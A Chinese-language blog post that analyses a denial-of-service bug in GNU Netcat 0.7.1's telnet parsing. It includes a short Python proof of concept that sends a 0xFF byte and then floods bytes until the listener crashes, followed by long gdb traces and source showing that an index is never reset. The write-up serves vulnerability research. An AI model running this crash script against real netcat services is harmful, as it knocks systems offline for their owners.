作者:k0shl 转载请注明出处:https://whereisk0shl.top
前面想说的话
又是一年除夕夜,今年也是我的博客的第四年,看看手里仅剩的五篇存货很感慨,终于要结束漫长的更新了,非常感谢大家这些年对我博客的关注,也要跟大家说声抱歉,博客这些年更新的漏洞分析文章是我15-16年分析的,那时候才刚接触二进制,所以有很多错误的地方,也非常感谢指出我错误的小伙伴,让我在复盘自己过去错误的时候受益良多。今年我的博客将结束过往文章的更新,之后就无法定期更新了,但我会一直维护我的博客,继续不定期更新一些最新的研究成果,希望大家可以继续关注我,共同交流,共同进步!
今天是除夕夜了,在这里祝愿大家阖家幸福,新的一年工作顺利,学业进步,0day多多,赚钱多多!
漏洞说明
NetCat就是我们所说的nc,nc在使用-T参数的时候是负责处理telnet连接,当利用nc构建一个telnet的服务端的时候,如果在客户端发送特殊的数据包,nc会处理telnet数据,根据不同的telnet code进行不同的操作。会导致nc在处理telnet数据的时候,由于处理buffer的时候在处理结束时没有对buffer的长度进行重置,导致连续多次写入telnet数据之后,由于向不可写的内存写入数据,最后引发拒绝服务漏洞,下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/088def25efe04dcdd1f8369d8926ab34-netcat-0.7.1.tar.gz
PoC:
#/usr/bin/python
#-*- Coding: utf-8 -*-
import socket
RHOST = "127.0.0.1"
RPORT = 12347
print("[+] Connecting to %s:%d") % (RHOST, RPORT)
s = socket.create_connection((RHOST, RPORT))
s.send("\xFF") # Telnet control character
print("[+] Telnet control character sent")
print("[i] Starting")
try:
i = 0
while True: # Loop until it crashes
i += 1
s.send("\x30")
except:
print("[+] GNU Netcat crashed on iteration: %d") % (i)
漏洞复现
首先利用gdb attach附加进程,之后远程发送Payload,gdb命中崩溃现场。
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x4a0
EBX: 0x8f
ECX: 0x90
EDX: 0x30 ('0')
ESI: 0xbfec9f80 ('0' <repeats 200 times>...)
EDI: 0x400
EBP: 0x8f
ESP: 0xbfec9de0 --> 0x1
EIP: 0x804d271 (<netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804d266 <netcat_telnet_parse+54>: test eax,eax
0x804d268 <netcat_telnet_parse+56>:
je 0x804d320 <netcat_telnet_parse+240>
0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1]
=> 0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl
0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx
0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1]
0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1
0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfec9de0 --> 0x1
0004| 0xbfec9de4 --> 0xb7519a28 --> 0x211f
0008| 0xbfec9de8 --> 0x0
0012| 0xbfec9dec --> 0x8f
0016| 0xbfec9df0 --> 0xbfecaf50 --> 0x0
0020| 0xbfec9df4 --> 0xbfec9f00 --> 0x0
0024| 0xbfec9df8 --> 0xbfec9e80 --> 0x10
0028| 0xbfec9dfc --> 0xb75f3b4d (<___newselect_nocancel+35>: pop ebx)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
netcat_telnet_parse (ncsock=0xbfeca7f0) at telnet.c:100
100 getrq[l++] = buf[i];
通过bt命令来回溯一下堆栈调用
gdb-peda$ bt
#0 netcat_telnet_parse (ncsock=0xbfeca7f0) at telnet.c:100
#1 0x0804b399 in core_readwrite (nc_main=0xbfeca7f0, nc_slave=0xbfecaf50)
at core.c:823
#2 0x080497f2 in main (argc=0x4, argv=0xbfecb3c4) at netcat.c:499
#3 0xb752ba63 in __libc_start_main (main=0x80490e0 <main>, argc=0x4,
argv=0xbfecb3c4, init=0x804d470 <__libc_csu_init>,
fini=0x804d4e0 <__libc_csu_fini>, rtld_fini=0xb76efc90 <_dl_fini>,
stack_end=0xbfecb3bc) at libc-start.c:287
#4 0x08049f35 in _start ()
根据当前命中崩溃的位置,来看一下当前的指令,是将edx低地址部分dl交给eax+0x8051b60,eax的值是4a0,这样相加之后的地址是0x8052000,来看一下这个地址的值。
gdb-peda$ x/10x 0x08052000
0x8052000: Cannot access memory at address 0x8052000
是向一个不可写的地址写入,接下来来看一下08051b60这个地址位置。
gdb-peda$ x/10x 0x08051b60
0x8051b60 <getrq.4515>: 0x303030ff 0x000004a0 0x30303030 0x30303030
0x8051b70: 0x30303030 0x30303030 0x30303030 0x30303030
0x8051b80: 0x30303030 0x30303030
这个地址写入的正是发送的Payload的字符串,那么就由所处的这个netcat_telnet_parse函数入手分析这个拒绝服务漏洞的成因。
漏洞分析
找到netcat_telnet_parse函数的入口位置,下一个断点。
.text:0804D230 ; void __cdecl netcat_telnet_parse(nc_sock_t *ncsock)
.text:0804D230 public netcat_telnet_parse
.text:0804D230 netcat_telnet_parse proc near ; CODE XREF: core_readwrite+664p
.text:0804D230
.text:0804D230 from = dword ptr -4Ch
.text:0804D230 eat_chars = dword ptr -30h
.text:0804D230 putrq = byte ptr -20h
.text:0804D230 ncsock = dword ptr 4
.text:0804D230
.text:0804D230 push ebp
.text:0804D231 push edi
.text:0804D232 xor ebp, ebp
.text:0804D234 push esi
.text:0804D235 push ebx
.text:0804D236 sub esp, 2Ch
.text:0804D239 mov eax, [esp+3Ch+ncsock]
.text:0804D23D mov edi, [eax+3ACh]
.text:0804D243 mov esi, [eax+3A8h]
重新发送Payload,命中断点之后,单步跟踪。首先函数会对一个缓冲区,和要拷贝的字符串长度进行赋值。eax寄存器存放的是长度0x11,edi存放的是buff的缓冲区地址。
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xbfb187d0 --> 0x4
EBX: 0xbfb187d0 --> 0x4
ECX: 0xbfb17f60 --> 0x303030ff
EDX: 0x400
ESI: 0xbfb17f60 --> 0x303030ff
EDI: 0x11
EBP: 0x0
ESP: 0xbfb17dc0 --> 0x1
EIP: 0x804d23d (<netcat_telnet_parse+13>: mov edi,DWORD PTR [eax+0x3ac])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804d235 <netcat_telnet_parse+5>: push ebx
0x804d236 <netcat_telnet_parse+6>: sub esp,0x2c
0x804d239 <netcat_telnet_parse+9>: mov eax,DWORD PTR [esp+0x40]
=> 0x804d23d <netcat_telnet_parse+13>: mov edi,DWORD PTR [eax+0x3ac]
0x804d243 <netcat_telnet_parse+19>: mov esi,DWORD PTR [eax+0x3a8]
0x804d249 <netcat_telnet_parse+25>: test edi,edi
0x804d24b <netcat_telnet_parse+27>:
jle 0x804d32b <netcat_telnet_parse+251>
0x804d251 <netcat_telnet_parse+33>: xor ebx,ebx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f
0008| 0xbfb17dc8 --> 0x0
0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>: jmp 0xb77b2930 <_dl_init+80>)
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff
0028| 0xbfb17ddc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
79 int i, *size = &ncsock->recvq.len, eat_chars = 0, ref_size = *size;
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xbfb187d0 --> 0x4
EBX: 0xbfb187d0 --> 0x4
ECX: 0xbfb17f60 --> 0x303030ff
EDX: 0x400
ESI: 0xbfb17f60 --> 0x303030ff
EDI: 0x11
EBP: 0x0
ESP: 0xbfb17dc0 --> 0x1
EIP: 0x804d243 (<netcat_telnet_parse+19>: mov esi,DWORD PTR [eax+0x3a8])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804d236 <netcat_telnet_parse+6>: sub esp,0x2c
0x804d239 <netcat_telnet_parse+9>: mov eax,DWORD PTR [esp+0x40]
0x804d23d <netcat_telnet_parse+13>: mov edi,DWORD PTR [eax+0x3ac]
=> 0x804d243 <netcat_telnet_parse+19>: mov esi,DWORD PTR [eax+0x3a8]
0x804d249 <netcat_telnet_parse+25>: test edi,edi
0x804d24b <netcat_telnet_parse+27>:
jle 0x804d32b <netcat_telnet_parse+251>
0x804d251 <netcat_telnet_parse+33>: xor ebx,ebx
0x804d253 <netcat_telnet_parse+35>: nop
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f
0008| 0xbfb17dc8 --> 0x0
0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>: jmp 0xb77b2930 <_dl_init+80>)
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff
0028| 0xbfb17ddc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
78 unsigned char putrq[4], *buf = ncsock->recvq.pos;
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xbfb187d0 --> 0x4
EBX: 0xbfb187d0 --> 0x4
ECX: 0xbfb17f60 --> 0x303030ff
EDX: 0x400
ESI: 0xbfb17f60 --> 0x303030ff
EDI: 0x11
赋值之后,来看一下相应buff里面存放的内容。这时候已经接收到了第一批字符串。
gdb-peda$ x/10x 0xbfb17f60
0xbfb17f60: 0x303030ff 0x30303030 0x30303030 0x30303030
0xbfb17f70: 0x08048330 0x00000001 0x00000038 0xb76453ae
0xbfb17f80: 0xbfb17fd0 0xb77c4000
接下来,程序会进入一处循环操作,根据之前eax,也就是buff的大小,对另一个缓冲区进行赋值。来看一下第一轮循环结束时的情况。
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x1
EDX: 0xff
ESI: 0xbfb17f60 --> 0x303030ff
EDI: 0x11
EBP: 0x0
ESP: 0xbfb17dc0 --> 0x1
EIP: 0x804d277 (<netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804d268 <netcat_telnet_parse+56>:
je 0x804d320 <netcat_telnet_parse+240>
0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1]
0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl
=> 0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx
0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1]
0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1
0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx
0x804d287 <netcat_telnet_parse+87>:
je 0x804d380 <netcat_telnet_parse+336>
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f
0008| 0xbfb17dc8 --> 0x0
0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>: jmp 0xb77b2930 <_dl_init+80>)
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff
0028| 0xbfb17ddc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
96 eat_chars++;
gdb-peda$ x/10x 0x8051b60
0x8051b60 <getrq.4515>: 0x000000ff 0x00000000 0x00000000 0x00000000
0x8051b70: 0x00000000 0x00000000 0x00000000 0x00000000
0x8051b80: 0x00000000 0x00000000
gdb-peda$ b *0x0804d271
Breakpoint 2 at 0x804d271: file telnet.c, line 100.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x1
ECX: 0x2
EDX: 0x30 ('0')
ESI: 0xbfb17f60 --> 0x303030ff
EDI: 0x11
EBP: 0x1
ESP: 0xbfb17dc0 --> 0x1
EIP: 0x804d271 (<netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804d266 <netcat_telnet_parse+54>: test eax,eax
0x804d268 <netcat_telnet_parse+56>:
je 0x804d320 <netcat_telnet_parse+240>
0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1]
=> 0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl
0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx
0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1]
0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1
0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f
0008| 0xbfb17dc8 --> 0x0
0012| 0xbfb17dcc --> 0x1
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff
0028| 0xbfb17ddc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:100
100 getrq[l++] = buf[i];
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x1
ECX: 0x2
EDX: 0x30 ('0')
ESI: 0xbfb17f60 --> 0x303030ff
EDI: 0x11
EBP: 0x1
ESP: 0xbfb17dc0 --> 0x1
EIP: 0x804d277 (<netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804d268 <netcat_telnet_parse+56>:
je 0x804d320 <netcat_telnet_parse+240>
0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1]
0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl
=> 0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx
0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1]
0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1
0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx
0x804d287 <netcat_telnet_parse+87>:
je 0x804d380 <netcat_telnet_parse+336>
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f
0008| 0xbfb17dc8 --> 0x0
0012| 0xbfb17dcc --> 0x1
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff
0028| 0xbfb17ddc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
96 eat_chars++;
gdb-peda$ x/10x 0x8051b60
0x8051b60 <getrq.4515>: 0x000030ff 0x00000001 0x00000000 0x00000000
0x8051b70: 0x00000000 0x00000000 0x00000000 0x00000000
0x8051b80: 0x00000000 0x00000000
此时l的值是一直增加的,这个l的值取决于伪代码中一个名为l_4516的全局变量,这个过程每次赋值结束,全局变量都会增加,这个全局变量最后保存在getrq指针里,这个指针就是0x8051b60。
gdb-peda$ x/10x 0x8051b60
0x8051b60 <getrq.4515>: 0x000030ff 0x00000001 0x00000000 0x00000000
0x8051b70: 0x00000000 0x00000000 0x00000000 0x00000000
0x8051b80: 0x00000000 0x00000000
此时指针偏移+4位置存放全局变量的值,此时值为0x1,是第一次读取的长度,接下来会连续对此进行读取,然而这个过程,没有对全局变量的值进行重置,第二轮接收到telnet数据包后,会同样进入netcat_telnet_parse函数进行处理。
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x400
EBX: 0xbfb187d0 --> 0x4
ECX: 0xbfb17f60 ('0' <repeats 200 times>...)
EDX: 0x400
ESI: 0xbfb17f60 ('0' <repeats 200 times>...)
EDI: 0x400
EBP: 0xbfb18f30 --> 0x0
ESP: 0xbfb17dfc --> 0x804b399 (<core_readwrite+1641>: mov edi,DWORD PTR [ebx+0x3ac])
EIP: 0x804d230 (<netcat_telnet_parse>: push ebp)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804d22a: xchg ax,ax
0x804d22c: xchg ax,ax
0x804d22e: xchg ax,ax
=> 0x804d230 <netcat_telnet_parse>: push ebp
0x804d231 <netcat_telnet_parse+1>: push edi
0x804d232 <netcat_telnet_parse+2>: xor ebp,ebp
0x804d234 <netcat_telnet_parse+4>: push esi
0x804d235 <netcat_telnet_parse+5>: push ebx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dfc --> 0x804b399 (<core_readwrite+1641>: mov edi,DWORD PTR [ebx+0x3ac])
0004| 0xbfb17e00 --> 0xbfb187d0 --> 0x4
0008| 0xbfb17e04 --> 0xbfb17f60 ('0' <repeats 200 times>...)
0012| 0xbfb17e08 --> 0x400
0016| 0xbfb17e0c --> 0xb77b69ae (<dl_open_worker+766>: sub esp,0x4)
0020| 0xbfb17e10 --> 0xbfb193b8 --> 0xbfb1a668 ("XDG_VTNR=7")
0024| 0xbfb17e14 --> 0x142db20
0028| 0xbfb17e18 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:75
75 {
这样再次命中断点的时候,再来看看getrq的指针结构。
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x11
EBX: 0x0
ECX: 0x1
EDX: 0x30 ('0')
ESI: 0xbfb17f60 ('0' <repeats 200 times>...)
EDI: 0x400
EBP: 0x0
ESP: 0xbfb17dc0 --> 0x1
EIP: 0x804d271 (<netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804d266 <netcat_telnet_parse+54>: test eax,eax
0x804d268 <netcat_telnet_parse+56>:
je 0x804d320 <netcat_telnet_parse+240>
0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1]
=> 0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl
0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx
0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1]
0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1
0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f
0008| 0xbfb17dc8 --> 0x0
0012| 0xbfb17dcc --> 0x11
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0
0020| 0xbfb17dd4 --> 0xbfb17ee0 --> 0x0
0024| 0xbfb17dd8 --> 0xbfb17e60 --> 0x10
0028| 0xbfb17ddc --> 0xb76b6b4d (<___newselect_nocancel+35>: pop ebx)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:100
100 getrq[l++] = buf[i];
gdb-peda$ x/10x 0x08051b60
0x8051b60 <getrq.4515>: 0x303030ff 0x00000011 0x30303030 0x30303030
0x8051b70: 0x00000030 0x00000000 0x00000000 0x00000000
0x8051b80: 0x00000000 0x00000000
getrq偏移加4位置存放的长度变量,是从上一次赋值结束的长度变量开始的,也就是说这个过程没有重置这个全局变量,最后如果循环接收,到达一定长度后会向不可写的地址写入数据,导致拒绝服务漏洞的发生。
来看一下源码部分。
void netcat_telnet_parse(nc_sock_t *ncsock)
{
static unsigned char getrq[4];
static int l = 0;
unsigned char putrq[4], *buf = ncsock->recvq.pos;
int i, *size = &ncsock->recvq.len, eat_chars = 0, ref_size = *size;
for (i = 0; i < ref_size; i++) {
/* if we found IAC char OR we are fetching a IAC code string process it */
if ((buf[i] != TELNET_IAC) && (l == 0))
continue;
#ifndef USE_OLD_TELNET
/* this is surely a char that will be eaten */
eat_chars++;
#endif
/* copy the char in the IAC-code-building buffer */
getrq[l++] = buf[i];
buf,size变量指针都取决于ncsock结构体,而后面赋值时会将buf赋值给getrq,而l就是全局变量,这个函数后续会进行switch case语句来处理telnet code,如果有的话。
{
case 13:
case 14:
++v1;
if ( v7 <= 2 )
break;
putrq[0] = -1;
putrq[1] = -4;
goto LABEL_9;
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
case 10:
goto LABEL_10;
case 11:
case 12:
++v1;
if ( v7 <= 2 )
break;
putrq[0] = -1;
putrq[1] = -2;
LABEL_9:
putrq[2] = getrq_4515[2];
write(ncsock->fd, putrq, 3u);
LABEL_10:
l_4516 = 0;
goto LABEL_11;
case 15:
l_4516 = 0;
v3[v4 - v1] = -1;
if ( v1 )
{
eat_chars = v1;
LABEL_11:
v8 = v4 + 1;
v9 = v2 - v8;
v2 -= eat_chars;
memmove(&v3[v8 - eat_chars], &v3[v8], v9);
v1 = 0;
v4 = ~eat_chars + v8;
}
break;
default:
goto LABEL_18;
结束处理的时候,没有对全局变量重置,最后导致了拒绝服务的发生。